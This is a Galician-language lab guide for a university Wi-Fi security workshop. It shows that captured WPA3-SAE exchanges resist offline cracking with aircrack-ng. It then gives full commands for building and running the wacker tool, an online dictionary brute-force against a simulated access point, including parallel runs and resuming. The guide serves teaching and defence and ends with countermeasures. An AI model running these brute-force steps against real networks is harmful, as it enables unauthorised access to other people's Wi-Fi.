Ir ao contido

Guía de Práctica 3.1: Auditoría WPA3-SAE

Baseada na práctica 3-Taller-HE-Practica-WiFi-1.pdf

1. Contexto e Obxectivos

Nesta práctica exploraremos a seguridade de WPA3-SAE (Simultaneous Authentication of Equals). Demostraremos que, a diferenza de WPA2-PSK, WPA3-SAE é resistente a ataques de dicionario offline: mesmo capturando o intercambio SAE con airodump-ng, non é posíbel recuperar o contrasinal con aircrack-ng.


2. Mapeamento: PDF ↔ Laboratorio

PDF Rol Interface Namespace Estado tras wifilabctl up Acción do estudante
Consola 1 AP WPA3-SAE (hostapd) wlan0 phy0_wlan0 ✅ Automático Consulta de logs
Consola 2 Cliente WPA3 (wpa_supplicant) wlan1 phy1_wlan1 ✅ Automático Reconexión
Consola 3 Atacante / Monitor wlan2 (namespace global) ⏳ Interface libre → Terminal 3

Nota sobre namespaces: Os namespaces créanse con nomes phy0_wlan0 e phy1_wlan1. Comproba sempre con sudo wifilabctl status.


3. Preparación do Escenario

Abre unha terminal na VM Kali e executa:

sudo wifilabctl up wpa3_sae
sudo wifilabctl status

Saída esperada:

NAMESPACE        INTERFACE  ESTADO
phy0_wlan0       wlan0      UP
phy1_wlan1       wlan1      UP
(global)         wlan2      LISTO

4. Terminal 1 – Atacante / Monitor (PDF: Consola 3, páx. 7-8)

Esta terminal corresponde á Consola 3 do PDF. Execútase no namespace global (sen ip netns exec).

4.1. Acceder como root (PDF: Consola 3, páx. 7)

sudo su -

4.2. Activar modo monitor en wlan2 (PDF: Consola 3, páx. 7)

# Activar modo monitor en wlan2 → crea wlan2mon
airmon-ng start wlan2

Saída esperada:

Found 2 processes that could cause trouble.
Killing PID ...
PHY     Interface   Driver      Chipset
phy2    wlan2       mac80211_hwsim   ...
                (mac80211 monitor mode vif enabled for [phy2]wlan2 on [phy2]wlan2mon)
                (mac80211 station mode vif disabled for [phy2]wlan2)

A partir de agora a interface de monitoraxe é wlan2mon, non wlan2.

4.3. Escanear redes (PDF: Consola 3, páx. 8)

# Escanear todas as redes dispoñíbeis
airodump-ng wlan2mon

Saída esperada:

CH  6 ][ Elapsed: 12 s

 BSSID              PWR  Beacons  #Data  CH  MB   ENC   CIPHER AUTH  ESSID

 EA:18:30:AA:C3:48  -30       15      0   6  54e  WPA3  CCMP   SAE   EMPRESA-XYZ

 BSSID              STATION            PWR  Rate  Lost  Frames
 EA:18:30:AA:C3:48  8E:B3:B5:62:2D:B9  -25   0-1     0       3
  • ENC: WPA3 (ou WPA2 con AUTH SAE segundo a versión de airodump-ng)
  • AUTH: SAE — non é PSK

Anota o canal (CH) do AP. Preme Ctrl+C para deter.

4.4. Capturar tráfico SAE (PDF: Consola 3, páx. 7)

# Crear directorio de capturas e iniciar captura no canal do AP
mkdir capturas && airodump-ng wlan2mon -c 6 -w capturas/cap

Substitúe 6 polo canal que está a usar o AP (wlan0: ACS-COMPLETED freq=2437 channel=6).

Deixa a captura activa. Non peches esta terminal.

4.5. Reconectar o cliente (PDF: Consola 2, páx. 8)

Abre unha segunda terminal (Terminal 2) e executa:

# TERMINAL 2 – Namespace do cliente (Consola 2 do PDF)
sudo ip netns exec phy1_wlan1 bash

# Eliminar wpa_supplicant existente e reconectar
pkill -f wpa_supplicant || true
wpa_supplicant -B -i wlan1 -c /home/kali/wifiLab/run/wpa3_sae/wpa_supplicant.conf

exit

Agora verifica nos logs do AP a reconexión do cliente:

sudo ip netns exec phy0_wlan0 tail -f /home/kali/wifiLab/run/wpa3_sae/hostapd.log

Saída esperada:

wlan0: AP-STA-CONNECTED 8e:b3:b5:62:2d:b9
wlan0: STA 8e:b3:b5:62:2d:b9 WPA: pairwise key handshake completed (RSN)
wlan0: EAPOL-4WAY-HS-COMPLETED 8e:b3:b5:62:2d:b9

Preme Ctrl+C para saír do tail.

4.6. Auditar a captura con aircrack-ng (PDF: Consola 3, páx. 8)

Volta ao Terminal 1 e garda a ver WPA handshake: na cabeceira de airodump-ng e preme Ctrl+C:

# Descomprimir o dicionario rockyou
gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt

# Tentar auditar a captura SAE
aircrack-ng capturas/cap-01.cap -w /tmp/rockyou.txt

Saída esperada (fallo esperado — resultado correcto da práctica):

Unsupported key version 0 encountered.
May be WPA3 - not yet supported.
Aborted

Por que falla? En WPA3-SAE o que captura airodump-ng non é un handshake reutilizábel como en WPA2-PSK, senón o intercambio de autenticación SAE (EAPOL/SAE commit-confirm) e o 4-way handshake asociado, que non permite derivar unha clave para un ataque por dicionario offline.


5. Análise: Por que WPA3-SAE é Resistente

Característica WPA2-PSK WPA3-SAE
Ataque dicionario offline ✗ Posíbel ✅ Non posíbel
Deautenticación maliciosa ✗ Posíbel ✅ PMF impídeo
Forward Secrecy ✗ Non ✅ Si
Crack con aircrack-ng ✗ Posíbel ✅ Non soportado

6. Wacker: Ataque por Forza Bruta Online contra WPA3-SAE

💡 Mensaxe clave: WPA3-SAE elimina os ataques offline de dicionario (non se pode crackear o handshake capturado). Porén, si é posible un ataque online de forza bruta directa contra o AP. A única defensa real é a fortaleza do contrasinal.


6.1. Por que WPA3-SAE non é vulnerable a ataques offline... pero si a ataques online

En WPA2-PSK, o ataque captura o 4-way handshake e crackéao offline sen límite de velocidade. WPA3-SAE bloquea este vector mediante o protocolo Dragonfly: cada sesión deriva claves únicas (Forward Secrecy) que non permiten reconstruír o contrasinal desde o tráfico capturado.

Porén, o protocolo SAE require que o AP responda a cada intento de autenticación. Isto permite un ataque diferente: probar contrasinais directamente contra o AP en tempo real.

Característica WPA2-PSK offline WPA3-SAE online (wacker)
Captura de handshake ✔ Necesaria ✗ Non necesaria
Cracking offline ✔ Sen límite ✗ Imposible (Forward Secrecy)
Tentativas por segundo Millóns (GPU) ~80-150 (limitado pola rede)
Detectable polo AP/IDS ✗ Invisible ✔ Visible (tráfico SAE continuo)
Éxito depende de GPU + wordlist Fortaleza do contrasinal

6.2. Wacker: ferramenta de dicionario online para WPA3-SAE

Wacker é un cracker de dicionario para WPA3-SAE que usa o interface de control de wpa_supplicant para lanzar intentos de autenticación SAE directamente contra o AP, sen capturar ningún handshake previo.

Mecanismo de funcionamento:
1. Wacker lanza o seu propio wpa_supplicant parcheado
2. Para cada palabra da wordlist, tenta autenticarse co AP mediante SAE Commit/Confirm
3. O AP responde con éxito ou fallo
4. Wacker interpreta a resposta e pasa á seguinte palabra

Características clave:
- ✔ Non require captura de tráfico previa — ataque puro online
- ✔ Compatible con mac80211_hwsim — funciona no noso laboratorio
- ✔ Paralelizable con múltiples interfaces e fragmentos da wordlist
- ⚠️ Lento (~80-150 palabras/segundo) fronte a cracking offline (millóns/segundo con GPU)
- ⚠️ Detectable: o AP ve tráfico SAE anómalo continuo
- ⚠️ Vulnerable a bloqueo por MAC: o AP pode blacklistear a MAC atacante


6.3. Instalación de wacker (Terminal 3)

O escenario wpa3_sae_vulnerable debe estar activo (wifilabctl up wpa3_sae_vulnerable). Wacker require compilar o seu propio wpa_supplicant parcheado. Executar no namespace global:

sudo su -

# Instalar dependencias de compilación
apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev git

# Clonar wacker
cd /opt
git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker

# Aplicar o patch ao wpa_supplicant incluído no repositorio
git apply wpa_supplicant.patch

# Compilar wpa_supplicant parcheado (pode tardar varios minutos)
cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
cd wpa_supplicant-2.10/wpa_supplicant
make -j4

# Verificar compilación
ls -lh wpa_supplicant
# -rwxr-xr-x 1 root root ~13M ... wpa_supplicant

⚠️ Este wpa_supplicant compilado úsao wacker internamente — non substitúe o do sistema.


6.4. Identificar o obxectivo (Terminal 3)

Wacker ataca o AP WPA3-SAE lexítimo (wlan0). O Evil Twin WPA2-PSK (wlan3) non é o obxectivo aquí — wacker vai directamente contra SAE.

# Obter BSSID do AP lexítimo WPA3 (wlan0) e a súa frecuencia
sudo ip netns exec phy0_wlan0 iw dev wlan0 info

# Saída esperada:
# Interface wlan0
#   addr EA:18:30:AA:C3:48      ← BSSID_AP (anota este valor)
#   ssid EMPRESA-XYZ
#   channel 6 (2437 MHz)        ← FREQ = 2437

# Gardar para uso posterior
BSSID_AP="EA:18:30:AA:C3:48"   # substituír polo BSSID real
FREQ=2437

💡 O BSSID real pode diferir en cada arranque do laboratorio. Verificar sempre con iw dev wlan0 info ou wifilabctl status.


6.5. Executar wacker (Terminal 4)

Abrir outra terminal. Wacker usará wlan2 (interface libre no namespace global — a mesma usada para airodump-ng nas seccións anteriores, pero agora en modo managed):

sudo su -
cd /opt/wacker

# Asegurarse de que wlan2 NON está en modo monitor (parar airmon-ng se estivese activo)
airmon-ng stop wlan2mon 2>/dev/null || true
ip link set wlan2 down
iw dev wlan2 set type managed
ip link set wlan2 up

# Descomprimir wordlist
gunzip -kf /usr/share/wordlists/rockyou.txt.gz

# Lanzar wacker (substituír BSSID_AP e FREQ polos valores reais)
python3 wacker.py   --wordlist /usr/share/wordlists/rockyou.txt   --interface wlan2   --bssid EA:18:30:AA:C3:48   --ssid EMPRESA-XYZ   --freq 2437

Saída esperada durante o ataque:

Start time: 20 Feb 2026 10:15:32
Starting wpa_supplicant...
    1532 / 14344391   words (0.01%) :  82.3 words/sec : 0.005 hours lapsed :  48.4 hours to exhaust
    3847 / 14344391   words (0.03%) :  79.8 words/sec : 0.013 hours lapsed :  49.9 hours to exhaust
    ...
Found the password: 'spongebob19'

Stop time: 20 Feb 2026 10:19:47

⚠️ Con rockyou.txt e o contrasinal spongebob19 (débil, presente na wordlist), wacker atopa o contrasinal en minutos. Con un contrasinal forte de 20+ caracteres aleatorios, o ataque tardaría séculos.


6.6. Paralelización con múltiples interfaces (opcional)

Para acelerar o ataque pódense lanzar varias instancias en paralelo, cada unha con un fragmento da wordlist:

# Desde /opt/wacker — dividir a wordlist en 2 partes
cd /opt/wacker
./split.sh 2 /usr/share/wordlists/rockyou.txt
# Xera: rockyou.txt.aaa (primeira metade)
#        rockyou.txt.aab (segunda metade)

# Terminal 4 — Instancia 1 (wlan2, primeira metade)
python3 wacker.py   --wordlist /usr/share/wordlists/rockyou.txt.aaa   --interface wlan2   --bssid EA:18:30:AA:C3:48   --ssid EMPRESA-XYZ   --freq 2437

# Terminal 5 — Instancia 2 (wlan3 en modo managed, segunda metade)
# NOTA: wlan3 é o Evil Twin, parar o hostapd eviltwin primeiro se está activo
sudo ip netns exec mitm_wlan3 pkill -f hostapd 2>/dev/null || true

python3 wacker.py   --wordlist /usr/share/wordlists/rockyou.txt.aab   --interface wlan3   --bssid EA:18:30:AA:C3:48   --ssid EMPRESA-XYZ   --freq 2437

💡 Con N interfaces, o tempo total redúcese por un factor de N. En hardware real con múltiples adaptadores USB Wi-Fi, o ataque é proporcionalmente máis rápido.

Wrapper wacker

Podemos xerar un wrapper de wacker para non ter que empregar python3 wacker.py dende o PATH de wacker.py, podendo empregar simplemente o comando wrapper:

# Xerar o wrapper
cat > /usr/local/bin/wacker <<'WSCRIPT'

#!/usr/bin/env bash

# Wrapper de wacker — DEBE executarse no directorio de wacker
# para que atope o wpa_supplicant parcheado con ruta relativa

cd /opt/wacker

exec python3 ./wacker.py "$@"

WSCRIPT

# Otorgar permisos de execución
chmod 755 /usr/local/bin/wacker
# Exemplos de execución:
wacker   --wordlist /usr/share/wordlists/rockyou.txt   --interface wlan2   --bssid EA:18:30:AA:C3:48   --ssid EMPRESA-XYZ   --freq 2437
wacker   --wordlist /usr/share/wordlists/rockyou.txt   --interface wlan3   --bssid BA:6B:40:C9:F9:A9   --ssid EMPRESA-XYZ   --freq 2437 --start sports01

6.7. Monitorización e reanudación

Wacker garda logs en /tmp/wacker/:

# Listar ficheiros de log (Terminal 3)
ls -lh /tmp/wacker/
# wlan2             → socket de control wpa_supplicant
# wlan2.conf        → configuración wpa_supplicant para wacker
# wlan2.pid         → PID do proceso wpa_supplicant
# wlan2_wacker.log  → log detallado (só con --debug)

# Reanudar desde unha palabra concreta (se o ataque foi interrompido)
python3 wacker.py   --wordlist /usr/share/wordlists/rockyou.txt   --interface wlan2   --bssid EA:18:30:AA:C3:48   --ssid EMPRESA-XYZ   --freq 2437   --start sponge
# Continúa desde a primeira palabra que comeza por "sponge"

6.8. Conclusión: a seguridade de WPA3-SAE depende do contrasinal

A práctica demostrou empiricamente que:

  • airodump-ng captura o intercambio SAE pero non contén datos crackeables.
  • aircrack-ng falla explicitamente: May be WPA3 - not yet supported.

Na Práctica 3.2 verificaremos a inmunidade contra KRACK usando a mesma captura (capturas/cap-01.cap) e a mesma terminal (Consola 4 do PDF).

SEGURIDADE WPA3-SAE = f(fortaleza do contrasinal)
Tipo de contrasinal Exemplo Tempo estimado (wacker, 1 NIC)
Palabra de dicionario spongebob19 Minutos (en rockyou)
Frase curta predecible minomerodecasa Horas-días (wordlists específicas)
12 caracteres mixtos X9k!mP2@qR5n Anos (fóra de wordlists)
20+ caracteres aleatorios v7#Kp!2mNxQ8@wLjR4s Séculos (imposible na práctica)

Defensas contra wacker:
- ✔ Contrasinal ≥ 20 caracteres aleatorios — a única defensa realmente efectiva
- ✔ sae_anti_clogging_threshold=5 en hostapd.conf — limita a taxa de intentos SAE
- ✔ Monitorización de intentos SAE fallidos con IDS/SIEM — wacker xera moito ruído visible
- ✔ WPA3-Enterprise (EAP-TLS) — elimina completamente o risco de forza bruta ao contrasinal compartido


7. Limpeza

sudo wifilabctl reset